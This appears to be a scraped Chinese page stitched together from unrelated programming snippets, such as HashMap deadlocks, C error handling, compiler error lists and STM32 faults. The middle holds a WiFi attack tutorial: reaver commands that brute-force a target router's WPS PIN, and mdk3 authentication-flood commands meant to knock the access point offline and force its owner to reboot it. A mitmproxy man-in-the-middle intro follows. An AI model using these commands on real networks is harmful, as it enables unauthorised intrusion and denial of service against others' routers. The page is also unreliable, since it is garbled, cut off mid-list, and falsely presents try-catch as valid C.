PIN过程中出现的死循环解决方法与使用mdk3洪水攻击模式使用教程
jdk7 hashmap死循环 易懂讲解
JDK7 HashMap死循环易懂讲解1. 背景介绍在JDK7版本中，HashMap的死循环问题一直备受关注。
这一问题在多线程环境下特别突出，因为HashMap并非线程安全的数据结构。
在并发情况下，可能会导致HashMap的链表出现环形，造成死循环的情况。
2. HashMap的数据结构为了更好地理解HashMap死循环问题，我们首先来了解一下HashMap的数据结构。
HashMap是一种哈希表，它通过计算键的哈希值来确定键值对的存储位置。
在JDK7中，HashMap采用数组+链表的结构来存储数据，当发生哈希冲突时，链表会将具有相同哈希值的键值对连接在一起。
在JDK8及之后的版本中，这种数据结构有所改进，采用了数组+链表+红黑树的结构。
3. JDK7版本中的问题在JDK7版本中，HashMap的put方法实现并不是线程安全的。
当多个线程同时对HashMap进行插入操作时，可能会引发死循环问题。
这是因为在并发情况下，可能会导致链表产生环形，从而在遍历链表时陷入死循环。
4. 具体问题分析4.1 线程安全问题由于JDK7版本中HashMap的put方法并不具备线程安全性，当多个线程同时对HashMap进行插入操作时，可能会导致数据结构的破坏，进而引发死循环问题。
4.2 链表环形问题在并发情况下，如果两个线程同时往同一个链表中添加元素，可能会导致链表的环形，使得遍历链表的迭代器无法正确终止，从而造成死循环。
5. 解决方案针对JDK7版本中HashMap的死循环问题，我们可以采取以下几种方案进行解决：5.1 使用线程安全的替代方案可以选择使用具有线程安全性的数据结构，如ConcurrentHashMap 来替代HashMap。
ConcurrentHashMap采用了更加复杂的数据结构，能够在保证线程安全的前提下提高并发性能。
5.2 使用锁进行同步在并发情况下，使用显式锁对HashMap进行同步操作，可以避免出现环形链表的问题。
C语言错误处理异常处理和错误码的处理方法
C语言错误处理异常处理和错误码的处理方法C语言错误处理：异常处理和错误码的处理方法在编程过程中，错误是难以避免的。
而如何正确处理这些错误，能够提高程序的鲁棒性和可靠性。
C语言提供了多种错误处理机制，包括异常处理和错误码的处理方法。
本文将介绍这些方法的使用和应用场景。
一、异常处理异常处理是一种常见的错误处理方式。
在C语言中，通过使用`try-catch`语句块来实现异常处理。
当程序运行到可能会引发异常的语句时，会先尝试执行该语句，如果发生异常，则会跳转到对应的`catch`语句块进行异常处理。
异常处理的优点在于能够将错误的处理逻辑与正常代码分开，提高了代码的可读性和维护性。
同时，异常处理能够方便地传递错误信息和异常对象，使得错误的原因更加明确。
下面是一个简单的使用异常处理的示例代码：```c#include <stdio.h>#include <stdlib.h>int divide(int a, int b) {if (b == 0) {// 抛出除数为零的异常throw "Divide by zero!";}return a / b;}int main() {int result;try {result = divide(10, 0);printf("Result: %d\n", result); } catch (const char* error) {printf("Error: %s\n", error); }return 0;}```在上述代码中，`divide`函数用于计算两个整数的除法，如果除数为零，则会抛出一个异常。
在`main`函数中，通过使用`try-catch`语句块来捕获并处理该异常。
二、错误码的处理方法除了异常处理，C语言还提供了错误码的处理方法。
在这种方法中，程序会使用预定义的错误码来表示不同的错误情况。
wh程序死循环的语句
wh程序死循环的语句WH程序死循环的语句WH程序是一种基于WHILE语句的编程语言，它的特点是简单易学，但是也容易出现死循环的情况。
死循环是指程序在执行过程中，由于某些原因导致程序无法正常结束，一直重复执行同一段代码，直到程序被强制终止。
在WH程序中，死循环的语句主要有以下几种：1. while (true)这是最常见的死循环语句，它的含义是当条件为真时一直执行循环体中的代码。
由于条件永远为真，因此程序会一直执行下去，直到被强制终止。
2. while (1)这个语句与while (true)的效果是一样的，因为1被视为真值。
同样会导致死循环的情况。
3. for (;;)这是一种无限循环的语句，它的含义是没有初始条件、没有终止条件、没有步进条件的循环。
由于没有终止条件，程序会一直执行下去，直到被强制终止。
4. do {...} while (true)这是一种先执行循环体再判断条件的语句，由于条件永远为真，因此程序会一直执行下去，直到被强制终止。
5. goto labelgoto语句可以跳转到程序中的任意位置，如果跳转到一个已经执行过的位置，就会导致死循环的情况。
因此，在编写程序时应该避免使用goto语句。
以上是WH程序中常见的死循环语句，为了避免出现死循环的情况，我们可以采取以下措施：1. 在编写程序时，应该仔细检查循环条件，确保它能够在有限的时间内终止。
2. 在循环体中加入break语句，当满足某个条件时跳出循环。
3. 在循环体中加入sleep语句，让程序暂停一段时间，避免CPU占用过高。
4. 在程序中加入异常处理机制，当程序出现异常时能够及时终止程序。
总之，死循环是程序中常见的问题，我们应该在编写程序时注意避免出现这种情况。
如果程序出现死循环，应该及时终止程序，避免对系统造成不必要的负担。
reaver参数详解和死循环解决方法
Reaver基本命令参数详解及应用Reaver基本命令参数XiaoPanOS下：选择“终端”输入sudo thunar这里是为了取得超级权限，选择系统文件-usr-local-ect-reaveifconfig –a //确认你用哪一个网卡WLAN0或WLAN1airmon-ng start wlan0 //开启监听模式wash –i mon0 –C //查看开启wps的无线路由器airodump-ng mon0 //查看周边AP信息（抓包）reaver –i mon0 –b MAC –a –S –vv –d 3 –t 3 //开始穷举PIN码reaver –i mon0 –b MAC –a –S –vv –d 0 //加快速度为1秒reaver –i mon0 –b MAC –a –S –vv –p xxxx //从前4位PIN码开始reave的进度表文件保存在:1.3版：/etc/reaver/MAC地址.wpc1.4版：/usr/local/etc/reaver/MAC地址.wpcCDliunx下：选择“终端”输入sudo thunar这里是为了取得超级权限，选择系统文件-usr-local-ect-reaver-reaver必需的参数:-i, --interface=wlan Name of the monitor-mode interface to use //监视模式接口使用的名称-b, --bssid=mac BSSID of the target AP //目标AP的SSIDreaver可选参数:-m, --mac=mac MAC of the host system //主机系统的MAC-e, --essid=ssid ESSID of the target AP //目标AP的ESSID-c, --channel=channel Set the 802.11 channel for the interface (implies -f)//设置接口的802.11信道 (意味着 -f)-o, --out-file=file Send output to a log file [stdout] //输出发送到一个日志文件-s, --session=file Restore a previous session file //恢复以前的记录文件-C, --exec=command Execute the supplied command upon successful pin recovery//所提供的命令执行成功后，pin 恢复-D, --daemonize Daemonize reaver //守护进程 reaver-a, --auto Auto detect the best advanced options for the target AP//自动检测目标AP的最先进的选项-f, --fixed Disable channel hopping //禁用信道跳频-5, --5ghz Use 5GHz 802.11 channels //使用5GHz的802.11信道-v, --verbose Display non-critical warnings (-vv for more) //显示非关键的警告（- VV更多）-q, --quiet Only display critical messages //仅显示重要消息-h, --help Show help //显示帮助reaver高级选项：-p, --pin=wps pin Use the specified 4 or 8 digit WPS pin //使用指定的4个或8个的 pin WPS-d, --delay=seconds Set the delay between pin attempts [1] //设置pin尝试之间的延迟[1] -l, --lock-delay=seconds Set the time to wait if the AP locks WPS pin attempts [60]//设置等待的时间，如果AP锁定WPS PIN尝试[60]-g, --max-attempts=num Quit after num pin attempts //退出后NUM pin尝试-x, --fail-wait=seconds Set the time to sleep after 10 unexpected failures [0]//设定时间后进入休眠10[0]意外故障-r, --recurring-delay=xy Sleep for y seconds every x pin attempts //对每一个pin码尝试Y秒-t, --timeout=seconds Set the receive timeout period [5] //设置接收超时时间[5]-T, --m57-timeout=seconds Set the M5M7 timeout period [0.20] //设置M5M7超时期[0.20]-A, --no-associate Do not associate with the AP (association must be done by another application)//不要与AP关联（协会必须由另一个应用程序进行）-N, --no-nacks Do not send NACK messages when out of order packets are received//不要发送NACK消息收到时，为了包出-S, --dh-small Use small DH keys to improve crack speed //使用小DH密钥，以提高PJ 速度-L, --ignore-locks Ignore locked state reported by the target AP //忽略锁定状态的目标AP-E, --eap-terminate Terminate each WPS session with an EAP FAIL packet//终止每一个EAP失败包WPS的记录-n, --nack Target AP always sends a NACK [Auto] //目标AP发送一个NACK[自动]-w, --win7 Mimic a Windows 7 registrar [False] //模仿Windows 7的注册处处长[虚假]reaver 使用方法和技巧:reaver使用方法:reaver -i mon0 -b xx:xx:xx:xx:xx -a -S -vv -c 频道-i 监听后接口名称-b 目标mac地址-a 自动检测目标AP最佳配置-S 使用最小的DH key，可以提高PJ速度-vv 显示更多的非严重警告-d 即delay每穷举一次的闲置时间预设为1秒-c 频道-p PIN码四位或八位 //可以用8位直接找到密码。
PIN死循环解决方法及mdk3攻击模式详解
破解WPA时，PIN出现死循环处理方法。
如下面这个例子，一开始，或者破解一段时间后出来PIN无限循环：------个人心得---------------------------------------------------------对一个ap刚开始pin的时候打开-vv参数，如果顺利，就中断，然后改成-v继续pin，反正进度是可以保存的reaver -i mon0 -b xx:xx:xx:xx:xx:xx -d 0 -vv -a -S如果一直pin不动，尝试加-N参数reaver -i mon0 -b xx:xx:xx:xx:xx:xx -d 0 -vv -a -S –NAP洪水攻击1、打气筒mdk3攻击模式操作方法首先检测网卡：ifconfig -a然后模拟端口：airmon-ng start wlan0接下来用：airodump-ng mon0扫描ap找到你pin死的路由器mac用mdk3 做身份验证攻击mdk3 mon0 a -a mac（被pin死的路由器的mac）身份验证攻击效果说明：此攻击是针对无线AP的洪水攻击，又叫做身份验证攻击。
其原理就是向AP发动大量的虚假的链接请求，这种请求数量一旦超过了无线AP所能承受的范围，AP就会自动断开现有链接，使合法用户无法使用无线网络。
迫使路由主人重启路由器。
说明：此命令功能强大，使用错误会造成所有ap不能使用，请指定mac地址，然后使用，其余命令不要乱试。
你要使用此命令的其他参数，请详细阅读此命令参数详解2、CDlinux mdk3攻击模式操作方法首先进入CDlinux，打开水滴或者打气筒搜索pin死的MAC地址（直接打开螃蟹或者3070驱动搜索无线MAC 地址也OK）。
然后点击左下角CDlnux图标，依次打开无线安全--------mdk3-v6mdk3 mon0 a -p 40:16:9F:**:2C:B2(40:16:9F:**:2C:B2为你pin死的路由的MAC，注意空格和大小写）mdk3 mon0 a -d 40:16:9F:**:2C:B2(40:16:9F:**:2C:B2为你pin死的路由的MAC，注意空格和大小写）mdk3 mon0 a -f 40:16:9F:**:2C:B2(40:16:9F:**:2C:B2为你pin死的路由的MAC，注意空格和大小写）mdk3 mon0 a -g 40:16:9F:**:2C:B2(40:16:9F:**:2C:B2为你pin死的路由的MAC，注意空格和大小写）mdk3 mon0 a -a 40:16:9F:**:2C:B2(40:16:9F:**:2C:B2为你pin死的路由的MAC，注意空格和大小写）主要命令进入mdk3后输入命令mdk3 mon0 a -a 40:16:9F:**:2C:B2(40:16:9F:**:2C:B2为你pin死的路由的MAC，注意空格和大小写）回车后进入攻击模式，时间不要太长，最多半分钟就可以关闭对话框然后重新扫描网络看pin死的路由是不是已经不在了。
MDK(uVsion3)问题总结及解决方法
MDK（uVsion3）问题总结及解决方法使用MDK已经有快半年的时间了，开始一直使用试用版（不到半个月就上手了），后来研发部门购买了三套MDK工具进行产品研发，以下是我在使用过程中出现过的一些问题，现在总结出来供大家一起分享下吧，呵呵，希望对大家有用啦。
问题1：MDK工具的CARM编译器？我原来对CARM编译器比较熟悉，想用CARM编译器编译工程，但是却弹出一个不能执行“cc”的错误，到KEIL网站查下才知道原因：由于CARM编译器是比较老的编译器，并且KEIL公司两年前已经停止了对CARM编译器的维护与升级，所以目前KEIL公司已经没有把CARM编译器集成到MDK开发工具开发工具里面来。
于是我就改用RealView编译工具,却发现RealView 编译工具确实很好用，编译效率很高，不愧为业内最优秀的编译器啊，呵呵，所以建议大家都用RealView编译器吧。
不过现在KEIL网站也可以下载CARM编译器，版本为2.54,具体情况见/support/docs/3267.htm。
4d.y5q4O4_＄R问题2：使用MDK工具将程序下载到RAM里面调试？MDK支持将代码下载到RAM中进行调试。
之前我以为只能通过编写脚本文件的方法，后来看帮助文档才知道有一个更为快捷的方法，点下鼠标就可以了。
可以有两种方法实现RAM 下载的功能。
电子论坛电子论坛,电子设计论坛,电子开发论坛+I,y*o*t i2u,Q%f方法一电子开发论坛)e T2M)p0\我们只需要简单的设置就可以实现此功能。
具体方法大家可在MDK帮助文档里看到：MDK帮助文档(Help)－>RealView编译工具简介－>嵌入式程序－>指定存储域。
在这一章节说明了将代码拷贝到RAM中执行的方法。
也就是只要点下鼠标就可以实现的方法。
方法二"y:U2Z0z7T C9e3f.z我们可以写脚本文件实现这一功能，脚本文件的写法和ADS或者Embest IDE大致相同，只是有些格式需要稍微修改，具体写法大家可以参阅MDK里面的PDF帮助文档，文档路进为：打开MDK工具－>workspace－>books－>双击RV Linker/Utilities打开PDF文档－>第五章Using Scatter-loading Description Files。
C语言中的错误处理和异常处理
C语言中的错误处理和异常处理错误处理和异常处理在编程中起着重要的作用，能够增加程序的鲁棒性和可靠性。
在C语言中，我们可以通过一些技术和方法来处理错误和异常，保证程序的正常执行和运行时的稳定性。
本篇文章将介绍C语言中的错误处理和异常处理的相关知识和使用方法。
一、错误处理的基础概念在编程中，错误指的是程序在运行过程中出现的不符合预期结果的情况。
错误可以分为两种类型：语法错误和逻辑错误。
语法错误是由于代码书写不符合编程语言的规范而导致的错误，编译器会检测并提示错误信息。
逻辑错误是由于代码的逻辑错误或者运行时的异常情况导致的错误，编译器无法直接检测出来。
C语言中的错误处理主要有两种方式：返回错误码和抛出异常。
返回错误码通常通过函数的返回值来表示执行结果，如果函数执行成功则返回0，否则返回相应的错误码。
抛出异常则是在发生错误或异常的地方，将错误信息封装成异常对象并抛出，由上层代码进行捕获和处理。
二、错误处理的技术和方法1. 返回错误码在C语言中，可以使用整型变量来表示错误码。
通常约定0代表成功，其他非零值代表出现错误。
在函数设计中，可以使用返回值来表示函数的执行结果，如果返回0则表示函数执行成功，否则返回相应的错误码。
调用函数时，需要判断返回值并进行相应的处理。
例如，我们可以定义一个求和的函数add，并通过返回值来表示是否发生错误。
```cint add(int a, int b, int *result) {if (result == NULL) {return -1; // 返回-1表示传入了无效的指针}*result = a + b;return 0; // 返回0表示成功}```调用该函数时，可以判断返回值来确定是否发生了错误。
```cint main() {int result;int ret = add(1, 2, &result);if (ret != 0) {// 发生了错误，根据错误码进行处理// ...} else {// 执行成功，可以使用result变量// ...}return 0;}```2. 错误处理函数C语言中可以使用错误处理函数来集中处理错误，并减少代码的冗余。
mitmproxy win 使用 -回复
mitmproxy win 使用-回复如何在Windows上使用mitmproxy进行中间人攻击（MITM攻击）一、介绍中间人攻击（MITM攻击）是一种网络攻击技术，攻击者会在通信过程中窃取、篡改或伪造通信数据。
然而，中间人攻击也可以用于安全测试和漏洞分析。
mitmproxy是一款功能强大的中间人代理工具，可以用于拦截和修改网络流量。
本文将介绍如何在Windows上使用mitmproxy进行中间人攻击。
二、准备工作在开始之前，您需要完成以下准备工作：1. 下载并安装Python：mitmproxy是用Python编写的，因此您需要安装Python来运行mitmproxy。
您可以从Python官方网站（2. 安装mitmproxy：打开命令提示符（CMD），运行以下命令来安装mitmproxy：pip install mitmproxy三、打开mitmproxy一旦您完成了准备工作，可以按照以下步骤打开mitmproxy：1. 打开命令提示符（CMD）：按下Win + R键，然后输入"CMD"并按下Enter键，以打开命令提示符。
2. 运行mitmproxy：在命令提示符中，输入以下命令来启动mitmproxy：mitmproxy四、设置浏览器代理mitmproxy已经在您的计算机上成功运行后，您需要将浏览器配置为使用mitmproxy作为代理服务器。
以下是如何配置不同浏览器的步骤：1. Google Chrome：打开Chrome浏览器，点击右上角的菜单图标，选择"设置"。
在"设置"页面的底部，点击"高级"。
然后，在"系统"部分，点击"打开你的计算机的代理设置"。
这将打开计算机的"Internet属性"对话框。
在对话框的"连接"选项卡中，点击"局域网设置"，然后勾选"使用代理服务器"复选框。
PSAM使用说明书
6.1 命令集 ............................................................................................ 24 6.2 命令执行状态码 ............................................................................. 26 6.3 个人化命令..................................................................................... 27 6.3.1 Create MF 创建主文件.......................................................... 27 6.3.2 Erase MF 擦除文件系统 ....................................................... 29 6.3.3 Create File 创建文件 ............................................................ 30 6.3.4 END ISSUE 结束个人化 ....................................................... 33 6.3.5 WRITE_KEY 密钥装载 ......................................................... 34 6.3.6 SET CARD SN 设置卡片流水号 ........................................... 36 6.4 基本命令 ........................................................................................ 37 6.4.1 CHANGE PIN 修改个人密码................................................. 37 6.4.2 EXTERNAL AUTHENTICATION 外部认证 ........................... 38 6.4.3 GET_CHALLENGE 取随机数 .............................................. 39 6.4.4 PIN CHANGE/UNBLOCK 重装 PIN/解锁 PIN....................... 40 6.4.5 READ BINARY 读透明文件 .................................................. 42
STM32发生hardfault_Hander故障原因及处理方法整理
3、还是将中断函数修改，打印中断时的一些信息：
HardFault_Hander()定义如下：
void HardFault_Handler(void)
{
uint32_t r_sp ;
r_sp = __get_PSP(); //获取SP的值
PERROR(ERROR,Memory Access Error!);
Panic(r_sp);
while (1);
}
STM32出现HardFault_Handler故障的原因主要有两个方面：
1、内存溢出或者访问越界。这个需要自己写程序的时候规范代码，遇到了需要慢慢排查。
Байду номын сангаас
2、堆栈溢出。增加堆栈的大小。
出现问题时排查的方法：
1、发生异常之后可首先查看LR寄存器中的值，确定当前使用堆栈为MSP或PSP，然后找到相应堆栈的指针，并在内存中查看相应堆栈里的内容。由于异常发生时，内核将R0~R3、R12、Return address、PSR、LR寄存器依次入栈，其中Return address即为发生异常前PC将要执行的下一条指令地址，因此在堆栈中反数第三个字即为出错位置。
2、默认的HardFault_Handler处理方法是B .将它改成BX LR直接返回的形式。然后在这条语句打个断点，一旦在断点中停下来，说明出错了，然后再返回，就可以返回到出错的位置的下一条语句那儿。
这个有时候可能需要在反汇编模式下调试，因为可以是程序跑飞一会儿才出现HardFault_Handler。
FMCOS通用技术手册(上海复旦微电子)
2.2.1. 帧格式和时序.......................................................................................................................12 2.2.2. PICC 状态 .............................................................................................................................15 2.2.3. 命令集...................................................................................................................................17 2.2.4. 选择序列...............................................................................................................................18
PIC编译错误信息
45.
[124] Illegal argument
非法的操作数。 CW-OTP-ICE-I 型仿真器用户手册
46.
[125] Illegal condition
非法的条件，例如：未匹配的endif。
47.
[126] Argument out of range
超范围的操作数，例如：IODIR 10。
13.
Illegal conditional compile
IF/ELSE/ENDIF结构书写有错。
14.
Illegal character…in label…
在标号字符中出现非法字符。合法的字符是“-”、“·”、“A”～“Z”、“a”～“z”、“0”～“9”。
15.
Illegal digit
非法数字。如在十进制数中出现十六进制符等。
35.
[103] Syntax error
语法错误，请检查源代码。
36.
[108] Illegal character
非法字符。 标号中的有效地字符为：“a~f”、“A~F”、“0~9”、“_”和“?”，标号不能用数字开头。
37.
[113] Symbol not previously defined
使用未定义的标号、变量、宏定义等。或者是MPASM不能确认标号的类型，一般由标号重复定义引起。
24.
Out of memory
程序空间溢出。
25.
Overwriting previous address contents
程序空间重复使用。一般由地址定义指令ORG定义不当引起。
26.
Processor type is undefined
防止程序死循环的算法-概述说明以及解释
防止程序死循环的算法-概述说明以及解释1.引言1.1 概述概述部分的内容可以描述程序死循环及其对系统的危害，引起人们对防止程序死循环算法的关注和研究的原因。
下面是一个示例：在软件开发过程中，程序死循环是一种常见的问题，指的是程序在执行过程中无限循环，无法正常结束或返回结果。
这种情况通常是由于编程错误或逻辑错误引起的，可能是由于不完善的条件判断、无限循环逻辑或编程错误导致的。
无论哪种原因，程序死循环都会给系统带来严重的影响。
程序死循环的危害不容忽视。
首先，程序死循环会占用系统的处理资源，导致系统性能下降。
当一个线程或进程陷入死循环时，系统将无法继续执行其他任务，影响了系统的稳定性和响应能力。
此外，由于死循环无限迭代，占用大量的CPU时间，可能导致系统崩溃或过载。
此外，程序死循环还会消耗过多的内存资源，导致系统资源的浪费和不稳定。
为了防止程序死循环的危害，人们开始研究和关注防止程序死循环的算法。
这些算法的目标是识别和解决可能导致程序死循环的问题，从而保证系统正常运行。
通过合理的算法设计和编程技巧，可以避免程序陷入死循环，并提高系统的稳定性和可靠性。
本文的目的是讨论和介绍防止程序死循环的算法，并探索其未来的发展方向。
通过深入研究和理解这些算法，我们可以更好地预防和解决程序死循环问题，提高软件的质量和性能。
1.2文章结构1.2 文章结构本文将按以下顺序来探讨防止程序死循环的算法：1. 首先，我们将介绍程序死循环的概念及其对计算机系统的危害。
2. 接着，我们将详细讨论防止程序死循环的重要性，并分析其对程序性能和用户体验的影响。
3. 在正文的下一部分，我们将提出一些常用的防止程序死循环的算法，并对其优劣进行评估和比较。
4. 紧接着，我们将介绍一些实际应用中常见的场景和问题，并探讨如何根据具体情况采取不同的防止程序死循环的策略。
5. 最后，我们将总结本文的主要内容，展望未来对于防止程序死循环算法的研究方向，并给出一些相关的发展建议。
关于使用Spring导致c3p0数据库死锁问题
这个问题我实在是为整个springsource 的员工蒙羞如果大家使用spring 控制事务，使用Open Session In View 模式，com.mchange.v2.resourcepool.TimeoutException: A client timed out while waiting to acquire a resource fromcom.mchange.v2.resourcepool.BasicResourcePool-- timeout at awaitAvailable()com.mchange.v2.async.ThreadPoolAsynchronousRunner$DeadlockDetecto r -- APPARENT DEADLOCK!!!还有诸如之类的若干c3p0 报出的错误，对于流量稍大一点的网站，一般都会出现当然，我确切的知道其原因是什么。
我只是想知道这个巨大的问题为什么这么多年过去了，仍旧在反复的不断地恼人的无解的一再发生。
我花了些时间google了一下，发现搜索"com.mchange.v2.resourcepool.TimeoutException" 这个字符串，前5页都没有给出正确答案。
有一些解决方案，我称为workaround，并不是solution，例如workaround1:<!--当连接池中的连接耗尽的时候c3p0一次同时获取的连接数。
Default: 3 --><property name="acquireIncrement" value="5"/>workaround2:是Spring中配置c3p0的时候，有一个配置属性是checkoutTimeout，把这个配置属性去掉就正常了。
好了，我来评价下这两种workaround第一种：这么搞下去，你的数据库连接数迟早会用光，到时结果是一样的，好比得了癌症这样做只是让你晚死几年。
如何进行代码的错误排查和修复
如何进行代码的错误排查和修复代码错误排查和修复是软件开发过程中非常重要的一步。
无论是编写小型项目还是大型应用程序，几乎每个开发者都会遇到代码错误。
在本文中，将为您介绍一些常见的排查和修复代码错误的方法。
一、了解常见错误类型在进行代码错误排查之前，首先需要了解一些常见的错误类型，以便能够更好地排查和修复错误。
常见的错误类型包括语法错误、逻辑错误和运行时错误。
语法错误是最常见的错误类型，这些错误通常由拼写错误、缺少分号等简单的错误引起。
编码过程中，无法通过编译器的语法检查器检测到这些错误。
逻辑错误指的是代码逻辑的错误，即代码没有按照预期的方式运行。
这些错误通常需要通过仔细检查代码来发现，或者通过运行调试器来逐行调试代码以查找问题。
运行时错误是在代码执行过程中发生的错误。
这些错误可以是由于一些不可预料的条件引起的，比如除以0、内存溢出等。
二、使用调试工具调试工具是排查和修复代码错误的重要工具之一。
现代编程语言通常都有自己的调试工具。
对于Python，可以使用pdb (Python Debugger)来进行调试。
pdb可以让开发者逐行调试代码，并查看变量的值、执行堆栈等信息。
对于Java，可以使用Eclipse、IntelliJ IDEA等集成开发环境提供的调试功能。
这些工具可以允许开发者在代码执行过程中设置断点，以及查看变量值、执行堆栈等信息。
对于JavaScript，可以使用浏览器的开发者工具来进行调试。
大多数现代浏览器都提供了JavaScript调试器，这些调试器可以让开发者在代码执行过程中设置断点，并查看变量值、执行堆栈等。
调试工具的使用可以帮助开发者逐步查找错误所在，并以更高的效率进行修复。
三、阅读错误日志当代码在运行时出现错误时，通常会生成错误日志。
错误日志可以提供有关错误发生的位置、调用堆栈等信息，这些信息对排查错误非常有帮助。
对于Python，错误日志通常会打印到控制台或记录到日志文件中。
解决电脑系统出现死循环的方法
解决电脑系统出现死循环的方法电脑系统出现死循环是让人十分头疼的问题。
当我们遇到这种情况时，往往会感到无所适从，不知从何处下手解决。
然而，事实上，解决电脑系统死循环的方法并不复杂。
本文将为大家介绍一些常见的解决方法，帮助您轻松应对这一问题。
首先，我们需要了解死循环的原因。
电脑系统出现死循环往往是由于程序或进程陷入了无限循环的状态，导致系统无法正常运行。
这可能是由于软件或驱动程序的错误，也可能是由于硬件故障引起的。
因此，我们需要从软件和硬件两个方面入手进行排查和解决。
在软件方面，我们可以尝试以下几种方法。
首先，可以尝试重新启动电脑。
有时候，电脑系统出现死循环只是暂时性的问题，重新启动后可能会自动解决。
如果重新启动无效，我们可以尝试进入安全模式。
安全模式可以在启动时按下F8键进入，它会禁用一些不必要的程序和驱动程序，有助于我们排查问题。
在安全模式下，我们可以尝试卸载最近安装的软件或驱动程序，因为它们可能是问题的根源。
如果这些方法仍然无效，我们可以考虑使用系统还原功能。
系统还原可以将电脑恢复到之前的一个时间点，有时候可以解决一些软件相关的问题。
在硬件方面，我们可以进行一些简单的排查。
首先，我们可以检查电脑的硬件连接是否松动。
有时候，死循环问题可能是由于内存条或硬盘等硬件松动导致的。
我们可以打开电脑主机，检查并重新插拔这些硬件，确保它们连接牢固。
另外，我们还可以运行一些硬件诊断工具，例如Windows自带的内存诊断工具，来检测是否有硬件故障。
如果发现硬件故障，我们可以尝试更换相应的硬件来解决问题。
除了上述方法，还有一些其他的解决方案可以尝试。
例如，我们可以尝试更新电脑的驱动程序和操作系统。
有时候，过时的驱动程序或操作系统可能会导致死循环问题。
我们可以访问电脑制造商的官方网站，下载并安装最新的驱动程序和操作系统更新。
此外，我们还可以运行杀毒软件来扫描和清除可能存在的病毒或恶意软件。
这些恶意软件可能会导致系统出现死循环的问题。
代码错误处理与异常处理的技巧
代码错误处理与异常处理的技巧错误处理与异常处理是软件开发过程中至关重要的一环，它们可以帮助开发人员在面对各种意外情况时保持代码的稳定性，以及有效地管理和排除潜在的问题。
在本文中，将会介绍一些常见的错误处理与异常处理的技巧，以及如何在代码中正确地应用它们。
一、错误处理与异常处理的概念在代码编写过程中，我们经常会遇到各种各样的错误。
有时是由于输入参数不正确，有时是由于程序逻辑错误，还有可能是由于外部环境的变化。
这些错误都可能导致程序的不稳定性，甚至崩溃。
为了避免这些问题，我们需要使用错误处理与异常处理的技巧。
错误处理是指当程序发生错误时，能够准确地捕获错误信息，并对其进行处理。
而异常处理则是在程序出现预料之外的情况时，能够及时地做出响应，以保证程序的正常运行。
二、错误处理的技巧1.准确捕获错误信息在代码中使用try...catch语句来捕获可能发生的错误。
在catch 块中，可以对错误信息进行处理，比如打印日志、给用户提示等。
此外，能够准确地定位错误信息的发生位置是非常重要的，可以通过堆栈信息来进行定位。
2.使用断言断言是一种强制对程序进行测试的机制，可以用来验证程序中的一些前置条件。
如果断言的条件不满足，程序就会中断并抛出错误。
这样可以帮助开发人员及时地发现和解决问题。
3.使用异常处理工具很多编程语言都提供了丰富的异常处理工具，如Java的RuntimeException、C++的std::exception等。
这些工具可以帮助开发人员更方便地进行异常处理，提高代码的稳定性。
4.对错误进行分类对不同类型的错误进行分类处理，可以帮助我们更好地理解问题的根源，并采取相应的措施进行处理。
比如对于网络错误、文件读写错误、内存泄漏等，需要分别采用不同的处理方式。
三、异常处理的技巧1.利用try...catch块在代码中使用try...catch块可以帮助我们捕获并处理异常情况。
在catch块中，可以采取适当的措施，比如回滚事务、关闭资源、打印日志等。
MDK常见错误详解集合
MDK常见错误详解集合错误代码及错误信息错误释义error 1: Out of memory 内存溢出error 2: Identifier expected 缺标识符error 3: Unknown identifier 未定义的标识符error 4: Duplicate identifier 重复定义的标识符error 5: Syntax error 语法错误error 6: Error in real constant 实型常量错误error 7: Error in integer constant 整型常量错误error 8: String constant exceeds line 字符串常量超过⼀⾏error 10: Unexpected end of file ⽂件⾮正常结束error 11: Line too long ⾏太长error 12: Type identifier expected 未定义的类型标识符error 13: Too many open files 打开⽂件太多error 14: Invalid file name ⽆效的⽂件名error 15: File not found ⽂件未找到error 16: Disk full 磁盘满error 17: Invalid compiler directive ⽆效的编译命令error 18: Too many files ⽂件太多error 19: Undefined type in pointer def 指针定义中未定义类型error 20: Variable identifier expected 缺变量标识符error 21: Error in type 类型错误error 22: Structure too large 结构类型太长error 23: Set base type out of range 集合基类型越界error 24: File components may not be files or objectsfile分量不能是⽂件或对象error 25: Invalid string length ⽆效的字符串长度error 26: Type mismatch 类型不匹配error 27：error 27：Invalid subrange base type ⽆效的⼦界基类型error 28：Lower bound greater than upper bound 下界超过上界error 29：Ordinal type expected 缺有序类型error 30：Integer constant expected 缺整型常量error 31：Constant expected 缺常量error 32：Integer or real constant expected 缺整型或实型常量error 33：Pointer Type identifier expected 缺指针类型标识符error 34：Invalid function result type ⽆效的函数结果类型error 35：Label identifier expected 缺标号标识符error 36：BEGIN expected 缺BEGINerror 37：END expected 缺ENDerror 38：Integer expression expected 缺整型表达式error 39：Ordinal expression expected 缺有序类型表达式error 40：Boolean expression expected 缺布尔表达式error 41：Operand types do not match 操作数类型不匹配error 42：Error in expression 表达式错误error 43：Illegal assignment ⾮法赋值error 44：Field identifier expected 缺域标识符error 45：Object file too large ⽬标⽂件太⼤error 46：Undefined external 未定义的外部过程与函数error 47：Invalid object file record ⽆效的OBJ⽂件格式error 48：Code segment too large 代码段太长error 49：Data segment too large 数据段太长error 50：DO expected 缺DOerror 51：Invalid PUBLIC definition ⽆效的PUBLIC定义error 52：Invalid EXTRN definition ⽆效的EXTRN定义error 53: Too many EXTRN definitions 太多的EXTRN定义error 54：OF expected 缺OFerror 55：INTERFACE expected 缺INTERFACEerror 56：Invalid relocatable reference ⽆效的可重定位引⽤error 57：THEN expected 缺THENerror 58：TO or DOWNTO expected 缺TO或DOWNTOerror 59：Undefined forward 提前引⽤未经定义的说明error 61：Invalid typecast ⽆效的类型转换error 62：Division by zero 被零除error 63：Invalid file type ⽆效的⽂件类型error 64：Cannot read or write variables of this type 不能读写此类型变量error 65：Pointer variable expected 缺指针类型变量error 66：String variable expected 缺字符串变量error 67：String expression expected 缺字符串表达式error 68：Circular unit reference 单元UNIT部件循环引⽤error 69：Unit name mismatch 单元名不匹配error 70：Unit version mismatch 单元版本不匹配error 71：Internal stack overflow 内部堆栈溢出error 72：Unit file format error 单元⽂件格式错误error 73：IMPLEMENTATION expected 缺IMPLEMENTATIONerror 74：Constant and case types do not match 常量和CASE类型不匹配error 75：Record or object variable expected 缺记录或对象变量error 76：Constant out of range 常量越界error 77：File variable expected 缺⽂件变量error 78：Pointer expression expected 缺指针表达式error 79：Integer or real expression expected 缺整型或实型表达式error 80：Label not within current block 标号不在当前块内error 81：Label already defined 标号已定义error 82：Undefined label in preceding statement part 在前⾯未定义标号error 83：Invalid @ argument ⽆效的@参数error 84：UNIT expected 缺UNITerror 85: ";" expected 缺“；”error 